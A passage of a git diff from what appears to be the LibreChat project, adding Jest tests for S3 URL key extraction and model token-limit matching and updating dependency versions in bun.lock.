+        filepath: '/local/path/file.jpg',
+      };
+
+      const result = await refreshS3Url(fileObj);
+
+      expect(result).toBe(fileObj.filepath);
+    });
+
+    it('should handle errors and return original URL', async () => {
+      const now = new Date();
+      const past = new Date(now.getTime() - 3600 * 1000);
+      const dateStr = past
+        .toISOString()
+        .replace(/[-:]/g, '')
+        .replace(/\.\d{3}/, '');
+
+      const fileObj = {
+        source: FileSources.s3,
+        filepath: `https://s3.amazonaws.com/bucket/images/user123/file.jpg?X-Amz-Signature=abc&X-Amz-Date=${dateStr}&X-Amz-Expires=60`,
+      };
+
+      getSignedUrl.mockRejectedValue(new Error('Refresh failed'));
+
+      const result = await refreshS3Url(fileObj, 60);
+
+      expect(result).toBe(fileObj.filepath);
+      expect(logger.error).toHaveBeenCalled();
+    });
+  });
+
+  describe('extractKeyFromS3Url', () => {
+    it('should extract key from a full S3 URL', () => {
+      const url = 'https://s3.amazonaws.com/test-bucket/images/user123/file.jpg';
+      const result = extractKeyFromS3Url(url);
+      expect(result).toBe('images/user123/file.jpg');
+    });
+
+    it('should extract key from a signed S3 URL with query parameters', () => {
+      const url =
+        'https://s3.amazonaws.com/test-bucket/documents/user456/report.pdf?X-Amz-Signature=abc123&X-Amz-Date=20260107';
+      const result = extractKeyFromS3Url(url);
+      expect(result).toBe('documents/user456/report.pdf');
+    });
+
+    it('should extract key from S3 URL with different domain format', () => {
+      const url = 'https://test-bucket.s3.amazonaws.com/uploads/user789/image.png';
+      const result = extractKeyFromS3Url(url);
+      expect(result).toBe('uploads/user789/image.png');
+    });
+
+    it('should return key as-is if already properly formatted (3+ parts, no http)', () => {
+      const key = 'images/user123/file.jpg';
+      const result = extractKeyFromS3Url(key);
+      expect(result).toBe('images/user123/file.jpg');
+    });
+
+    it('should handle key with leading slash by removing it', () => {
+      const key = '/images/user123/file.jpg';
+      const result = extractKeyFromS3Url(key);
+      expect(result).toBe('images/user123/file.jpg');
+    });
+
+    it('should handle simple key without slashes', () => {
+      const key = 'simple-file.txt';
+      const result = extractKeyFromS3Url(key);
+      expect(result).toBe('simple-file.txt');
+    });
+
+    it('should handle key with only two parts', () => {
+      const key = 'folder/file.txt';
+      const result = extractKeyFromS3Url(key);
+      expect(result).toBe('folder/file.txt');
+    });
+
+    it('should throw error for empty input', () => {
+      expect(() => extractKeyFromS3Url('')).toThrow('Invalid input: URL or key is empty');
+    });
+
+    it('should throw error for null input', () => {
+      expect(() => extractKeyFromS3Url(null)).toThrow('Invalid input: URL or key is empty');
+    });
+
+    it('should throw error for undefined input', () => {
+      expect(() => extractKeyFromS3Url(undefined)).toThrow('Invalid input: URL or key is empty');
+    });
+
+    it('should handle URLs with encoded characters', () => {
+      const url = 'https://s3.amazonaws.com/test-bucket/images/user123/my%20file%20name.jpg';
+      const result = extractKeyFromS3Url(url);
+      expect(result).toBe('images/user123/my%20file%20name.jpg');
+    });
+
+    it('should handle deep nested paths', () => {
+      const url = 'https://s3.amazonaws.com/bucket/a/b/c/d/e/f/file.jpg';
+      const result = extractKeyFromS3Url(url);
+      expect(result).toBe('a/b/c/d/e/f/file.jpg');
+    });
+
+    it('should log debug message when extracting from URL', () => {
+      const url = 'https://s3.amazonaws.com/bucket/images/user123/file.jpg';
+      extractKeyFromS3Url(url);
+      expect(logger.debug).toHaveBeenCalledWith(
+        expect.stringContaining('[extractKeyFromS3Url] fileUrlOrKey:'),
+      );
+    });
+
+    it('should log fallback debug message for non-URL input', () => {
+      const key = 'simple-file.txt';
+      extractKeyFromS3Url(key);
+      expect(logger.debug).toHaveBeenCalledWith(
+        expect.stringContaining('[extractKeyFromS3Url] FALLBACK'),
+      );
+    });
+
+    it('should handle valid URLs that contain only a bucket', () => {
+      const url = 'https://s3.amazonaws.com/test-bucket/';
+      const result = extractKeyFromS3Url(url);
+      expect(logger.warn).toHaveBeenCalledWith(
+        expect.stringContaining(
+          '[extractKeyFromS3Url] Extracted key is empty after removing bucket name from URL: https://s3.amazonaws.com/test-bucket/',
+        ),
+      );
+      expect(result).toBe('');
+    });
+
+    it('should handle invalid URLs that contain only a bucket', () => {
+      const url = 'https://s3.amazonaws.com/test-bucket';
+      const result = extractKeyFromS3Url(url);
+      expect(logger.warn).toHaveBeenCalledWith(
+        expect.stringContaining(
+          '[extractKeyFromS3Url] Unable to extract key from path-style URL: https://s3.amazonaws.com/test-bucket',
+        ),
+      );
+      expect(result).toBe('');
+    });
+
+    //  https://docs.aws.amazon.com/AmazonS3/latest/userguide/VirtualHosting.html
+
+    // Path-style requests
+    // https://docs.aws.amazon.com/AmazonS3/latest/userguide/VirtualHosting.html#path-style-access
+    // https://s3.region-code.amazonaws.com/bucket-name/key-name
+    it('should handle formatted according to Path-style regional endpoint', () => {
+      const url = 'https://s3.us-west-2.amazonaws.com/amzn-s3-demo-bucket1/dogs/puppy.jpg';
+      const result = extractKeyFromS3Url(url);
+      expect(result).toBe('dogs/puppy.jpg');
+    });
+
+    // virtual host style
+    // https://docs.aws.amazon.com/AmazonS3/latest/userguide/VirtualHosting.html#virtual-hosted-style-access
+    // https://bucket-name.s3.region-code.amazonaws.com/key-name
+    it('should handle formatted according to Virtual-hosted–style Regional endpoint', () => {
+      const url = 'https://amzn-s3-demo-bucket1.s3.us-west-2.amazonaws.com/dogs/puppy.png';
+      const result = extractKeyFromS3Url(url);
+      expect(result).toBe('dogs/puppy.png');
+    });
+
+    // Legacy endpoints
+    // https://docs.aws.amazon.com/AmazonS3/latest/userguide/VirtualHosting.html#VirtualHostingBackwardsCompatibility
+
+    // s3‐Region
+    // https://bucket-name.s3-region-code.amazonaws.com
+    it('should handle formatted according to s3‐Region', () => {
+      const url = 'https://amzn-s3-demo-bucket1.s3-us-west-2.amazonaws.com/puppy.png';
+      const result = extractKeyFromS3Url(url);
+      expect(result).toBe('puppy.png');
+
+      const testcase2 = 'https://amzn-s3-demo-bucket1.s3-us-west-2.amazonaws.com/cats/kitten.png';
+      const result2 = extractKeyFromS3Url(testcase2);
+      expect(result2).toBe('cats/kitten.png');
+    });
+
+    // Legacy global endpoint
+    // bucket-name.s3.amazonaws.com
+    it('should handle formatted according to Legacy global endpoint', () => {
+      const url = 'https://amzn-s3-demo-bucket1.s3.amazonaws.com/dogs/puppy.png';
+      const result = extractKeyFromS3Url(url);
+      expect(result).toBe('dogs/puppy.png');
+    });
+
+    it('should handle malformed URL and log error', () => {
+      const malformedUrl = 'https://invalid url with spaces.com/key';
+      const result = extractKeyFromS3Url(malformedUrl);
+
+      expect(logger.error).toHaveBeenCalledWith(
+        expect.stringContaining('[extractKeyFromS3Url] Error parsing URL:'),
+      );
+      expect(logger.error).toHaveBeenCalledWith(expect.stringContaining(malformedUrl));
+
+      expect(result).toBe(malformedUrl);
+    });
+
+    it('should return empty string for regional path-style URL with only bucket (no key)', () => {
+      const url = 'https://s3.us-west-2.amazonaws.com/my-bucket';
+      const result = extractKeyFromS3Url(url);
+      expect(result).toBe('');
+      expect(logger.warn).toHaveBeenCalledWith(
+        expect.stringContaining('[extractKeyFromS3Url] Unable to extract key from path-style URL:'),
+      );
+    });
+
+    it('should not log error when given a plain S3 key (non-URL input)', () => {
+      extractKeyFromS3Url('images/user123/file.jpg');
+      expect(logger.error).not.toHaveBeenCalled();
+    });
+
+    it('should strip bucket from custom endpoint URLs (MinIO, R2, etc.) using bucketName', () => {
+      // bucketName is the module-level const 'test-bucket', set before require at top of file
+      expect(
+        extractKeyFromS3Url('https://minio.example.com/test-bucket/images/user123/file.jpg'),
+      ).toBe('images/user123/file.jpg');
+      expect(
+        extractKeyFromS3Url(
+          'https://abc123.r2.cloudflarestorage.com/test-bucket/images/user123/avatar.png',
+        ),
+      ).toBe('images/user123/avatar.png');
+    });
+
+    it('should use endpoint base path when AWS_ENDPOINT_URL and AWS_FORCE_PATH_STYLE are set', () => {
+      process.env.AWS_BUCKET_NAME = 'test-bucket';
+      process.env.AWS_ENDPOINT_URL = 'https://minio.example.com';
+      process.env.AWS_FORCE_PATH_STYLE = 'true';
+      jest.resetModules();
+      const { extractKeyFromS3Url: fn } = require('~/server/services/Files/S3/crud');
+
+      expect(fn('https://minio.example.com/test-bucket/images/user123/file.jpg')).toBe(
+        'images/user123/file.jpg',
+      );
+
+      delete process.env.AWS_ENDPOINT_URL;
+      delete process.env.AWS_FORCE_PATH_STYLE;
+    });
+
+    it('should handle endpoint with a base path', () => {
+      process.env.AWS_BUCKET_NAME = 'test-bucket';
+      process.env.AWS_ENDPOINT_URL = 'https://example.com/storage/';
+      process.env.AWS_FORCE_PATH_STYLE = 'true';
+      jest.resetModules();
+      const { extractKeyFromS3Url: fn } = require('~/server/services/Files/S3/crud');
+
+      expect(fn('https://example.com/storage/test-bucket/images/user123/file.jpg')).toBe(
+        'images/user123/file.jpg',
+      );
+
+      delete process.env.AWS_ENDPOINT_URL;
+      delete process.env.AWS_FORCE_PATH_STYLE;
+    });
+  });
+});
diff --git a/api/utils/tokens.spec.js b/api/utils/tokens.spec.js
index 18905d6d18..6cecdb95c8 100644
--- a/api/utils/tokens.spec.js
+++ b/api/utils/tokens.spec.js
@@ -200,6 +200,39 @@ describe('getModelMaxTokens', () => {
     );
   });
 
+  test('should return correct tokens for gpt-5.3 matches', () => {
+    expect(getModelMaxTokens('gpt-5.3')).toBe(maxTokensMap[EModelEndpoint.openAI]['gpt-5.3']);
+    expect(getModelMaxTokens('gpt-5.3-codex')).toBe(maxTokensMap[EModelEndpoint.openAI]['gpt-5.3']);
+    expect(getModelMaxTokens('openai/gpt-5.3')).toBe(
+      maxTokensMap[EModelEndpoint.openAI]['gpt-5.3'],
+    );
+    expect(getModelMaxTokens('gpt-5.3-2025-03-01')).toBe(
+      maxTokensMap[EModelEndpoint.openAI]['gpt-5.3'],
+    );
+    expect(getModelMaxTokens('gpt-5.3-preview')).toBe(
+      maxTokensMap[EModelEndpoint.openAI]['gpt-5.3'],
+    );
+  });
+
+  test('should return correct tokens for gpt-5.4 matches', () => {
+    expect(getModelMaxTokens('gpt-5.4')).toBe(maxTokensMap[EModelEndpoint.openAI]['gpt-5.4']);
+    expect(getModelMaxTokens('gpt-5.4-thinking')).toBe(
+      maxTokensMap[EModelEndpoint.openAI]['gpt-5.4'],
+    );
+    expect(getModelMaxTokens('openai/gpt-5.4')).toBe(
+      maxTokensMap[EModelEndpoint.openAI]['gpt-5.4'],
+    );
+  });
+
+  test('should return correct tokens for gpt-5.4-pro matches', () => {
+    expect(getModelMaxTokens('gpt-5.4-pro')).toBe(
+      maxTokensMap[EModelEndpoint.openAI]['gpt-5.4-pro'],
+    );
+    expect(getModelMaxTokens('openai/gpt-5.4-pro')).toBe(
+      maxTokensMap[EModelEndpoint.openAI]['gpt-5.4-pro'],
+    );
+  });
+
   test('should return correct tokens for Anthropic models', () => {
     const models = [
       'claude-2.1',
@@ -237,16 +270,6 @@ describe('getModelMaxTokens', () => {
     });
   });
 
-  // Tests for Google models
-  test('should return correct tokens for exact match - Google models', () => {
-    expect(getModelMaxTokens('text-bison-32k', EModelEndpoint.google)).toBe(
-      maxTokensMap[EModelEndpoint.google]['text-bison-32k'],
-    );
-    expect(getModelMaxTokens('codechat-bison-32k', EModelEndpoint.google)).toBe(
-      maxTokensMap[EModelEndpoint.google]['codechat-bison-32k'],
-    );
-  });
-
   test('should return undefined for no match - Google models', () => {
     expect(getModelMaxTokens('unknown-google-model', EModelEndpoint.google)).toBeUndefined();
   });
@@ -279,6 +302,12 @@ describe('getModelMaxTokens', () => {
     expect(getModelMaxTokens('gemini-3', EModelEndpoint.google)).toBe(
       maxTokensMap[EModelEndpoint.google]['gemini-3'],
     );
+    expect(getModelMaxTokens('gemini-3.1-pro-preview', EModelEndpoint.google)).toBe(
+      maxTokensMap[EModelEndpoint.google]['gemini-3.1'],
+    );
+    expect(getModelMaxTokens('gemini-3.1-pro-preview-customtools', EModelEndpoint.google)).toBe(
+      maxTokensMap[EModelEndpoint.google]['gemini-3.1'],
+    );
     expect(getModelMaxTokens('gemini-2.5-pro', EModelEndpoint.google)).toBe(
       maxTokensMap[EModelEndpoint.google]['gemini-2.5-pro'],
     );
@@ -297,12 +326,6 @@ describe('getModelMaxTokens', () => {
     expect(getModelMaxTokens('gemini-pro', EModelEndpoint.google)).toBe(
       maxTokensMap[EModelEndpoint.google]['gemini'],
     );
-    expect(getModelMaxTokens('code-', EModelEndpoint.google)).toBe(
-      maxTokensMap[EModelEndpoint.google]['code-'],
-    );
-    expect(getModelMaxTokens('chat-', EModelEndpoint.google)).toBe(
-      maxTokensMap[EModelEndpoint.google]['chat-'],
-    );
   });
 
   test('should return correct tokens for partial match - Cohere models', () => {
@@ -486,7 +509,19 @@ describe('getModelMaxTokens', () => {
 
   test('should return correct max output tokens for GPT-5 models', () => {
     const { getModelMaxOutputTokens } = require('@librechat/api');
-    ['gpt-5', 'gpt-5-mini', 'gpt-5-nano', 'gpt-5-pro'].forEach((model) => {
+    const gpt5Models = [
+      'gpt-5',
+      'gpt-5.1',
+      'gpt-5.2',
+      'gpt-5.3',
+      'gpt-5.4',
+      'gpt-5.4-pro',
+      'gpt-5-mini',
+      'gpt-5-nano',
+      'gpt-5-pro',
+      'gpt-5.2-pro',
+    ];
+    for (const model of gpt5Models) {
       expect(getModelMaxOutputTokens(model)).toBe(maxOutputTokensMap[EModelEndpoint.openAI][model]);
       expect(getModelMaxOutputTokens(model, EModelEndpoint.openAI)).toBe(
         maxOutputTokensMap[EModelEndpoint.openAI][model],
@@ -494,7 +529,7 @@ describe('getModelMaxTokens', () => {
       expect(getModelMaxOutputTokens(model, EModelEndpoint.azureOpenAI)).toBe(
         maxOutputTokensMap[EModelEndpoint.azureOpenAI][model],
       );
-    });
+    }
   });
 
   test('should return correct max output tokens for GPT-OSS models', () => {
@@ -511,6 +546,184 @@ describe('getModelMaxTokens', () => {
   });
 });
 
+describe('findMatchingPattern - longest match wins', () => {
+  test('should prefer longer matching key over shorter cross-provider pattern', () => {
+    const result = findMatchingPattern(
+      'gpt-5.2-chat-2025-12-11',
+      maxTokensMap[EModelEndpoint.openAI],
+    );
+    expect(result).toBe('gpt-5.2');
+  });
+
+  test('should match gpt-5.2 tokens for date-suffixed chat variant', () => {
+    expect(getModelMaxTokens('gpt-5.2-chat-2025-12-11')).toBe(
+      maxTokensMap[EModelEndpoint.openAI]['gpt-5.2'],
+    );
+  });
+
+  test('should match gpt-5.2-pro over shorter patterns', () => {
+    expect(getModelMaxTokens('gpt-5.2-pro-chat-2025-12-11')).toBe(
+      maxTokensMap[EModelEndpoint.openAI]['gpt-5.2-pro'],
+    );
+  });
+
+  test('should match gpt-5-mini over gpt-5 for mini variants', () => {
+    expect(getModelMaxTokens('gpt-5-mini-chat-2025-01-01')).toBe(
+      maxTokensMap[EModelEndpoint.openAI]['gpt-5-mini'],
+    );
+  });
+
+  test('should prefer gpt-4-1106 over gpt-4 for versioned model names', () => {
+    const result = findMatchingPattern('gpt-4-1106-preview', maxTokensMap[EModelEndpoint.openAI]);
+    expect(result).toBe('gpt-4-1106');
+  });
+
+  test('should prefer gpt-4-32k-0613 over gpt-4-32k for exact versioned names', () => {
+    const result = findMatchingPattern('gpt-4-32k-0613', maxTokensMap[EModelEndpoint.openAI]);
+    expect(result).toBe('gpt-4-32k-0613');
+  });
+
+  test('should prefer claude-3-5-sonnet over claude-3', () => {
+    const result = findMatchingPattern(
+      'claude-3-5-sonnet-20241022',
+      maxTokensMap[EModelEndpoint.anthropic],
+    );
+    expect(result).toBe('claude-3-5-sonnet');
+  });
+
+  test('should prefer gemini-2.0-flash-lite over gemini-2.0-flash', () => {
+    const result = findMatchingPattern(
+      'gemini-2.0-flash-lite-preview',
+      maxTokensMap[EModelEndpoint.google],
+    );
+    expect(result).toBe('gemini-2.0-flash-lite');
+  });
+});
+
+describe('findMatchingPattern - bestLength selection', () => {
+  test('should return the longest matching key when multiple keys match', () => {
+    const tokensMap = { short: 100, 'short-med': 200, 'short-med-long': 300 };
+    expect(findMatchingPattern('short-med-long-extra', tokensMap)).toBe('short-med-long');
+  });
+
+  test('should return the longest match regardless of key insertion order', () => {
+    const tokensMap = { 'a-b-c': 300, a: 100, 'a-b': 200 };
+    expect(findMatchingPattern('a-b-c-d', tokensMap)).toBe('a-b-c');
+  });
+
+  test('should return null when no key matches', () => {
+    const tokensMap = { alpha: 100, beta: 200 };
+    expect(findMatchingPattern('gamma-delta', tokensMap)).toBeNull();
+  });
+
+  test('should return the single matching key when only one matches', () => {
+    const tokensMap = { alpha: 100, beta: 200, gamma: 300 };
+    expect(findMatchingPattern('beta-extended', tokensMap)).toBe('beta');
+  });
+
+  test('should match case-insensitively against model name', () => {
+    const tokensMap = { 'gpt-5': 400000 };
+    expect(findMatchingPattern('GPT-5-turbo', tokensMap)).toBe('gpt-5');
+  });
+
+  test('should select the longest key among overlapping substring matches', () => {
+    const tokensMap = { 'gpt-': 100, 'gpt-5': 200, 'gpt-5.2': 300, 'gpt-5.2-pro': 400 };
+    expect(findMatchingPattern('gpt-5.2-pro-2025-01-01', tokensMap)).toBe('gpt-5.2-pro');
+    expect(findMatchingPattern('gpt-5.2-chat-2025-01-01', tokensMap)).toBe('gpt-5.2');
+    expect(findMatchingPattern('gpt-5.1-preview', tokensMap)).toBe('gpt-5');
+    expect(findMatchingPattern('gpt-unknown', tokensMap)).toBe('gpt-');
+  });
+
+  test('should not be confused by a short key that appears later in the model name', () => {
+    const tokensMap = { 'model-v2': 200, v2: 100 };
+    expect(findMatchingPattern('model-v2-extended', tokensMap)).toBe('model-v2');
+  });
+
+  test('should handle exact-length match as the best match', () => {
+    const tokensMap = { 'exact-model': 500, exact: 100 };
+    expect(findMatchingPattern('exact-model', tokensMap)).toBe('exact-model');
+  });
+
+  test('should return null for empty model name', () => {
+    expect(findMatchingPattern('', { 'gpt-5': 400000 })).toBeNull();
+  });
+
+  test('should prefer last-defined key on same-length ties', () => {
+    const tokensMap = { 'aa-bb': 100, 'cc-dd': 200 };
+    // model name contains both 5-char keys; last-defined wins in reverse iteration
+    expect(findMatchingPattern('aa-bb-cc-dd', tokensMap)).toBe('cc-dd');
+  });
+
+  test('longest match beats short cross-provider pattern even when both present', () => {
+    const tokensMap = { 'gpt-5.2': 400000, 'chat-': 8187 };
+    expect(findMatchingPattern('gpt-5.2-chat-2025-12-11', tokensMap)).toBe('gpt-5.2');
+  });
+
+  test('should match case-insensitively against keys', () => {
+    const tokensMap = { 'GPT-5': 400000 };
+    expect(findMatchingPattern('gpt-5-turbo', tokensMap)).toBe('GPT-5');
+  });
+});
+
+describe('findMatchingPattern - iteration performance', () => {
+  let includesSpy;
+
+  beforeEach(() => {
+    includesSpy = jest.spyOn(String.prototype, 'includes');
+  });
+
+  afterEach(() => {
+    includesSpy.mockRestore();
+  });
+
+  test('exact match early-exits with minimal includes() checks', () => {
+    const openAIMap = maxTokensMap[EModelEndpoint.openAI];
+    const keys = Object.keys(openAIMap);
+    const lastKey = keys[keys.length - 1];
+    includesSpy.mockClear();
+    const result = findMatchingPattern(lastKey, openAIMap);
+    const exactCalls = includesSpy.mock.calls.length;
+
+    expect(result).toBe(lastKey);
+    expect(exactCalls).toBe(1);
+  });
+
+  test('bestLength check skips includes() for shorter keys after a long match', () => {
+    const openAIMap = maxTokensMap[EModelEndpoint.openAI];
+    includesSpy.mockClear();
+    findMatchingPattern('gpt-3.5-turbo-0301-test', openAIMap);
+    const longKeyCalls = includesSpy.mock.calls.length;
+
+    includesSpy.mockClear();
+    findMatchingPattern('gpt-5.3-chat-latest', openAIMap);
+    const shortKeyCalls = includesSpy.mock.calls.length;
+
+    // gpt-3.5-turbo-0301 (20 chars) matches early, then bestLength prunes most keys
+    // gpt-5.3 (7 chars) is short, so fewer keys are pruned by the length check
+    expect(longKeyCalls).toBeLessThan(shortKeyCalls);
+  });
+
+  test('last-defined keys are checked first in reverse iteration', () => {
+    const tokensMap = { first: 100, second: 200, third: 300 };
+    includesSpy.mockClear();
+    const result = findMatchingPattern('third', tokensMap);
+    const calls = includesSpy.mock.calls.length;
+
+    // 'third' is last key, found on first reverse check, exact match exits immediately
+    expect(result).toBe('third');
+    expect(calls).toBe(1);
+  });
+});
+
+describe('deprecated PaLM2/Codey model removal', () => {
+  test('deprecated PaLM2/Codey models no longer have token entries', () => {
+    expect(getModelMaxTokens('text-bison-32k', EModelEndpoint.google)).toBeUndefined();
+    expect(getModelMaxTokens('codechat-bison-32k', EModelEndpoint.google)).toBeUndefined();
+    expect(getModelMaxTokens('code-bison', EModelEndpoint.google)).toBeUndefined();
+    expect(getModelMaxTokens('chat-bison', EModelEndpoint.google)).toBeUndefined();
+  });
+});
+
 describe('matchModelName', () => {
   it('should return the exact model name if it exists in maxTokensMap', () => {
     expect(matchModelName('gpt-4-32k-0613')).toBe('gpt-4-32k-0613');
@@ -606,10 +819,16 @@ describe('matchModelName', () => {
     expect(matchModelName('gpt-5-pro-2025-01-30-0130')).toBe('gpt-5-pro');
   });
 
-  // Tests for Google models
-  it('should return the exact model name if it exists in maxTokensMap - Google models', () => {
-    expect(matchModelName('text-bison-32k', EModelEndpoint.google)).toBe('text-bison-32k');
-    expect(matchModelName('codechat-bison-32k', EModelEndpoint.google)).toBe('codechat-bison-32k');
+  it('should return the closest matching key for gpt-5.3 matches', () => {
+    expect(matchModelName('openai/gpt-5.3')).toBe('gpt-5.3');
+    expect(matchModelName('gpt-5.3-codex')).toBe('gpt-5.3');
+    expect(matchModelName('gpt-5.3-2025-03-01')).toBe('gpt-5.3');
+  });
+
+  it('should return the closest matching key for gpt-5.4 matches', () => {
+    expect(matchModelName('openai/gpt-5.4')).toBe('gpt-5.4');
+    expect(matchModelName('gpt-5.4-thinking')).toBe('gpt-5.4');
+    expect(matchModelName('gpt-5.4-pro')).toBe('gpt-5.4-pro');
   });
 
   it('should return the input model name if no match is found - Google models', () => {
@@ -617,11 +836,6 @@ describe('matchModelName', () => {
       'unknown-google-model',
     );
   });
-
-  it('should return the closest matching key for partial matches - Google models', () => {
-    expect(matchModelName('code-', EModelEndpoint.google)).toBe('code-');
-    expect(matchModelName('chat-', EModelEndpoint.google)).toBe('chat-');
-  });
 });
 
 describe('Meta Models Tests', () => {
diff --git a/bun.lock b/bun.lock
index c6a5dd01a1..39d9641ec4 100644
--- a/bun.lock
+++ b/bun.lock
@@ -7,7 +7,7 @@
       "devDependencies": {
         "@axe-core/playwright": "^4.10.1",
         "@eslint/compat": "^1.2.6",
-        "@eslint/eslintrc": "^3.3.1",
+        "@eslint/eslintrc": "^3.3.4",
         "@eslint/js": "^9.20.0",
         "@playwright/test": "^1.56.1",
         "@types/react-virtualized": "^9.22.0",
@@ -31,30 +31,32 @@
         "lint-staged": "^15.4.3",
         "prettier": "^3.5.0",
         "prettier-plugin-tailwindcss": "^0.6.11",
+        "turbo": "^2.8.12",
         "typescript-eslint": "^8.24.0",
       },
     },
     "api": {
       "name": "@librechat/backend",
-      "version": "0.8.300",
+      "version": "0.8.3",
       "dependencies": {
-        "@aws-sdk/client-bedrock-runtime": "^3.941.0",
-        "@aws-sdk/client-s3": "^3.758.0",
+        "@anthropic-ai/vertex-sdk": "^0.14.3",
+        "@aws-sdk/client-bedrock-runtime": "^3.980.0",
+        "@aws-sdk/client-s3": "^3.980.0",
         "@aws-sdk/s3-request-presigner": "^3.758.0",
         "@azure/identity": "^4.7.0",
         "@azure/search-documents": "^12.0.0",
-        "@azure/storage-blob": "^12.27.0",
-        "@googleapis/youtube": "^20.0.0",
+        "@azure/storage-blob": "^12.30.0",
+        "@google/genai": "^1.19.0",
         "@keyv/redis": "^4.3.3",
-        "@langchain/core": "^0.3.79",
-        "@librechat/agents": "^3.0.50",
+        "@langchain/core": "^0.3.80",
+        "@librechat/agents": "^3.1.55",
         "@librechat/api": "*",
         "@librechat/data-schemas": "*",
         "@microsoft/microsoft-graph-client": "^3.0.7",
-        "@modelcontextprotocol/sdk": "^1.24.3",
+        "@modelcontextprotocol/sdk": "^1.27.1",
         "@node-saml/passport-saml": "^5.1.0",
         "@smithy/node-http-handler": "^4.4.5",
-        "axios": "^1.12.1",
+        "axios": "^1.13.5",
         "bcryptjs": "^2.4.3",
         "compression": "^1.8.1",
         "connect-redis": "^8.1.0",
@@ -64,9 +66,9 @@
         "dedent": "^1.5.3",
         "dotenv": "^16.0.3",
         "eventsource": "^3.0.2",
-        "express": "^5.1.0",
+        "express": "^5.2.1",
         "express-mongo-sanitize": "^2.2.0",
-        "express-rate-limit": "^8.2.1",
+        "express-rate-limit": "^8.3.0",
         "express-session": "^1.18.2",
         "express-static-gzip": "^2.2.0",
         "file-type": "^18.7.0",
@@ -82,13 +84,15 @@
         "keyv-file": "^5.1.2",
         "klona": "^2.0.6",
         "librechat-data-provider": "*",
-        "lodash": "^4.17.21",
+        "lodash": "^4.17.23",
+        "mammoth": "^1.11.0",
+        "mathjs": "^15.1.0",
         "meilisearch": "^0.38.0",
         "memorystore": "^1.6.7",
         "mime": "^3.0.0",
         "module-alias": "^2.2.3",
         "mongoose": "^8.12.1",
-        "multer": "^2.0.2",
+        "multer": "^2.1.1",
         "nanoid": "^3.3.7",
         "node-fetch": "^2.7.0",
         "nodemailer": "^7.0.11",
@@ -104,15 +108,16 @@
         "passport-jwt": "^4.0.1",
         "passport-ldapauth": "^3.0.1",
         "passport-local": "^1.0.0",
+        "pdfjs-dist": "^5.4.624",
         "rate-limit-redis": "^4.2.0",
         "sharp": "^0.33.5",
         "tiktoken": "^1.0.15",
         "traverse": "^0.6.7",
         "ua-parser-js": "^1.0.36",
-        "undici": "^7.10.0",
+        "undici": "^7.18.2",
         "winston": "^3.11.0",
         "winston-daily-rotate-file": "^5.0.0",
-        "youtube-transcript": "^1.2.1",
+        "xlsx": "https://cdn.sheetjs.com/xlsx-0.20.3/xlsx-0.20.3.tgz",
         "zod": "^3.22.4",
       },
       "devDependencies": {
@@ -124,7 +129,7 @@
     },
     "client": {
       "name": "@librechat/frontend",
-      "version": "0.8.300",
+      "version": "0.8.3",
       "dependencies": {
         "@ariakit/react": "^0.4.15",
         "@ariakit/react-core": "^0.4.17",
@@ -135,11 +140,12 @@
         "@librechat/client": "*",
         "@marsidev/react-turnstile": "^1.1.0",
         "@mcp-ui/client": "^5.7.0",
+        "@monaco-editor/react": "^4.7.0",
         "@radix-ui/react-accordion": "^1.1.2",
-        "@radix-ui/react-alert-dialog": "^1.1.15",
+        "@radix-ui/react-alert-dialog": "1.0.2",
         "@radix-ui/react-checkbox": "^1.0.3",
         "@radix-ui/react-collapsible": "^1.0.3",
-        "@radix-ui/react-dialog": "^1.1.15",
+        "@radix-ui/react-dialog": "1.0.2",
         "@radix-ui/react-dropdown-menu": "^2.1.1",
         "@radix-ui/react-hover-card": "^1.0.5",
         "@radix-ui/react-icons": "^1.3.0",
@@ -174,9 +180,10 @@
         "jotai": "^2.12.5",
         "js-cookie": "^3.0.5",
         "librechat-data-provider": "*",
-        "lodash": "^4.17.21",
+        "lodash": "^4.17.23",
         "lucide-react": "^0.394.0",
         "match-sorter": "^8.1.0",
+        "mermaid": "^11.13.0",
         "micromark-extension-llm-math": "^3.1.0",
         "qrcode.react": "^4.2.0",
         "rc-input-number": "^7.4.2",
@@ -189,10 +196,9 @@
         "react-gtm-module": "^2.0.11",
         "react-hook-form": "^7.43.9",
         "react-i18next": "^15.4.0",
-        "react-lazy-load-image-component": "^1.6.0",
         "react-markdown": "^9.0.1",
         "react-resizable-panels": "^3.0.6",
-        "react-router-dom": "^6.11.2",
+        "react-router-dom": "^6.30.3",
         "react-speech-recognition": "^3.10.0",
         "react-textarea-autosize": "^8.4.0",
         "react-transition-group": "^4.4.5",
@@ -206,9 +212,11 @@
         "remark-math": "^6.0.0",
         "remark-supersub": "^1.0.0",
         "sse.js": "^2.5.0",
+        "swr": "^2.3.8",
         "tailwind-merge": "^1.9.1",
         "tailwindcss-animate": "^1.0.5",
         "tailwindcss-radix": "^2.8.0",
+        "ts-md5": "^1.3.1",
         "zod": "^3.22.4",
       },
       "devDependencies": {
@@ -216,6 +224,7 @@
         "@babel/preset-env": "^7.22.15",
         "@babel/preset-react": "^7.22.15",
         "@babel/preset-typescript": "^7.22.15",
+        "@happy-dom/jest-environment": "^20.8.3",
         "@tanstack/react-query-devtools": "^4.29.0",
         "@testing-library/dom": "^9.3.0",
         "@testing-library/jest-dom": "^5.16.5",
@@ -224,10 +233,10 @@
         "@types/jest": "^29.5.14",
         "@types/js-cookie": "^3.0.6",
         "@types/lodash": "^4.17.15",
-        "@types/node": "^20.3.0",
+        "@types/node": "^20.19.35",
         "@types/react": "^18.2.11",
         "@types/react-dom": "^18.2.4",
-        "@vitejs/plugin-react": "^4.3.4",
+        "@vitejs/plugin-react": "^5.1.4",
         "autoprefixer": "^10.4.20",
         "babel-plugin-replace-ts-export-assignment": "^0.0.2",
         "babel-plugin-root-import": "^6.6.0",
@@ -238,23 +247,23 @@
         "identity-obj-proxy": "^3.0.0",
         "jest": "^30.2.0",
         "jest-canvas-mock": "^2.5.2",
-        "jest-environment-jsdom": "^29.7.0",
+        "jest-environment-jsdom": "^30.2.0",
         "jest-file-loader": "^1.0.3",
         "jest-junit": "^16.0.0",
+        "monaco-editor": "^0.55.1",
         "postcss": "^8.4.31",
-        "postcss-loader": "^7.1.0",
-        "postcss-preset-env": "^8.2.0",
+        "postcss-preset-env": "^11.2.0",
         "tailwindcss": "^3.4.1",
         "typescript": "^5.3.3",
-        "vite": "^6.4.1",
+        "vite": "^7.3.1",
         "vite-plugin-compression2": "^2.2.1",
-        "vite-plugin-node-polyfills": "^0.23.0",
-        "vite-plugin-pwa": "^0.21.2",
+        "vite-plugin-node-polyfills": "^0.25.0",
+        "vite-plugin-pwa": "^1.2.0",
       },
     },
     "packages/api": {
